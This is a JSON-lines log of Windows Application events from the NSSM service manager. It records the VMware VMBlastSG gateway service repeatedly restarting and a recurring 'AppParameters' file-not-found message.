{"@timestamp":1646806118476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165228}}
{"@timestamp":1646806118477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165229}}
{"@timestamp":1646806118477,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165230}}
{"@timestamp":1646806118478,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165231}}
{"@timestamp":1646806246974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165232}}
{"@timestamp":1646806246975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165233}}
{"@timestamp":1646806246976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162616","0"]}}},"module":"Application","provider":"nssm","sequence":165234}}
{"@timestamp":1646806246976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162616","162616","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165235}}
{"@timestamp":1646806246993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165236}}
{"@timestamp":1646806246994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165237}}
{"@timestamp":1646806246994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165238}}
{"@timestamp":1646806246995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165239}}
{"@timestamp":1646806375462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165240}}
{"@timestamp":1646806375463,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165241}}
{"@timestamp":1646806375464,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162088","0"]}}},"module":"Application","provider":"nssm","sequence":165242}}
{"@timestamp":1646806375465,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162088","162088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165243}}
{"@timestamp":1646806375482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165244}}
{"@timestamp":1646806375482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165245}}
{"@timestamp":1646806375483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165246}}
{"@timestamp":1646806375483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165247}}
{"@timestamp":1646806504009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165248}}
{"@timestamp":1646806504013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165249}}
{"@timestamp":1646806504013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160996","0"]}}},"module":"Application","provider":"nssm","sequence":165250}}
{"@timestamp":1646806504014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160996","160996","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165251}}
{"@timestamp":1646806504030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165252}}
{"@timestamp":1646806504031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165253}}
{"@timestamp":1646806504031,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165254}}
{"@timestamp":1646806504032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165255}}
{"@timestamp":1646806632562,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165256}}
{"@timestamp":1646806632564,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165257}}
{"@timestamp":1646806632565,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161924","0"]}}},"module":"Application","provider":"nssm","sequence":165258}}
{"@timestamp":1646806632566,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161924","161924","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165259}}
{"@timestamp":1646806632587,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165260}}
{"@timestamp":1646806632588,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165261}}
{"@timestamp":1646806632589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165262}}
{"@timestamp":1646806632589,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165263}}
{"@timestamp":1646806761196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165264}}
{"@timestamp":1646806761197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165265}}
{"@timestamp":1646806761197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162728","0"]}}},"module":"Application","provider":"nssm","sequence":165266}}
{"@timestamp":1646806761198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162728","162728","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165267}}
{"@timestamp":1646806761215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165268}}
{"@timestamp":1646806761215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165269}}
{"@timestamp":1646806761216,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165270}}
{"@timestamp":1646806761217,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165271}}
{"@timestamp":1646806889755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165272}}
{"@timestamp":1646806889756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165273}}
{"@timestamp":1646806889756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","160292","0"]}}},"module":"Application","provider":"nssm","sequence":165274}}
{"@timestamp":1646806889756,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["160292","160292","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165275}}
{"@timestamp":1646806889773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165276}}
{"@timestamp":1646806889773,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165277}}
{"@timestamp":1646806889774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165278}}
{"@timestamp":1646806889775,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165279}}
{"@timestamp":1646807018281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165280}}
{"@timestamp":1646807018281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165281}}
{"@timestamp":1646807018283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161660","0"]}}},"module":"Application","provider":"nssm","sequence":165282}}
{"@timestamp":1646807018284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161660","161660","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165283}}
{"@timestamp":1646807018302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162352","0"]}}},"module":"Application","provider":"nssm","sequence":165284}}
{"@timestamp":1646807018302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162352","161660","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165285}}
{"@timestamp":1646807018322,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165286}}
{"@timestamp":1646807018323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165287}}
{"@timestamp":1646807018323,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165288}}
{"@timestamp":1646807018324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165289}}
{"@timestamp":1646807146829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165290}}
{"@timestamp":1646807146830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165291}}
{"@timestamp":1646807146831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162436","0"]}}},"module":"Application","provider":"nssm","sequence":165292}}
{"@timestamp":1646807146832,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162436","162436","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165293}}
{"@timestamp":1646807146848,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165294}}
{"@timestamp":1646807146849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165295}}
{"@timestamp":1646807146849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165296}}
{"@timestamp":1646807146850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165297}}
{"@timestamp":1646807275336,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165298}}
{"@timestamp":1646807275338,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165299}}
{"@timestamp":1646807275339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162672","0"]}}},"module":"Application","provider":"nssm","sequence":165300}}
{"@timestamp":1646807275339,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162672","162672","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165301}}
{"@timestamp":1646807275355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165302}}
{"@timestamp":1646807275356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165303}}
{"@timestamp":1646807275356,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165304}}
{"@timestamp":1646807275358,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165305}}
{"@timestamp":1646807403829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165306}}
{"@timestamp":1646807403830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165307}}
{"@timestamp":1646807403830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161872","0"]}}},"module":"Application","provider":"nssm","sequence":165308}}
{"@timestamp":1646807403831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161872","161872","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165309}}
{"@timestamp":1646807403849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165310}}
{"@timestamp":1646807403849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165311}}
{"@timestamp":1646807403850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165312}}
{"@timestamp":1646807403850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165313}}
{"@timestamp":1646807532324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165314}}
{"@timestamp":1646807532325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165315}}
{"@timestamp":1646807532325,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162236","0"]}}},"module":"Application","provider":"nssm","sequence":165316}}
{"@timestamp":1646807532326,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162236","162236","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165317}}
{"@timestamp":1646807532346,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165318}}
{"@timestamp":1646807532347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165319}}
{"@timestamp":1646807532347,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165320}}
{"@timestamp":1646807532348,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165321}}
{"@timestamp":1646807660955,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165322}}
{"@timestamp":1646807660956,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165323}}
{"@timestamp":1646807660957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161208","0"]}}},"module":"Application","provider":"nssm","sequence":165324}}
{"@timestamp":1646807660957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161208","161208","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165325}}
{"@timestamp":1646807660975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165326}}
{"@timestamp":1646807660975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165327}}
{"@timestamp":1646807660976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165328}}
{"@timestamp":1646807660977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165329}}
{"@timestamp":1646807789457,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165330}}
{"@timestamp":1646807789458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165331}}
{"@timestamp":1646807789459,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162052","0"]}}},"module":"Application","provider":"nssm","sequence":165332}}
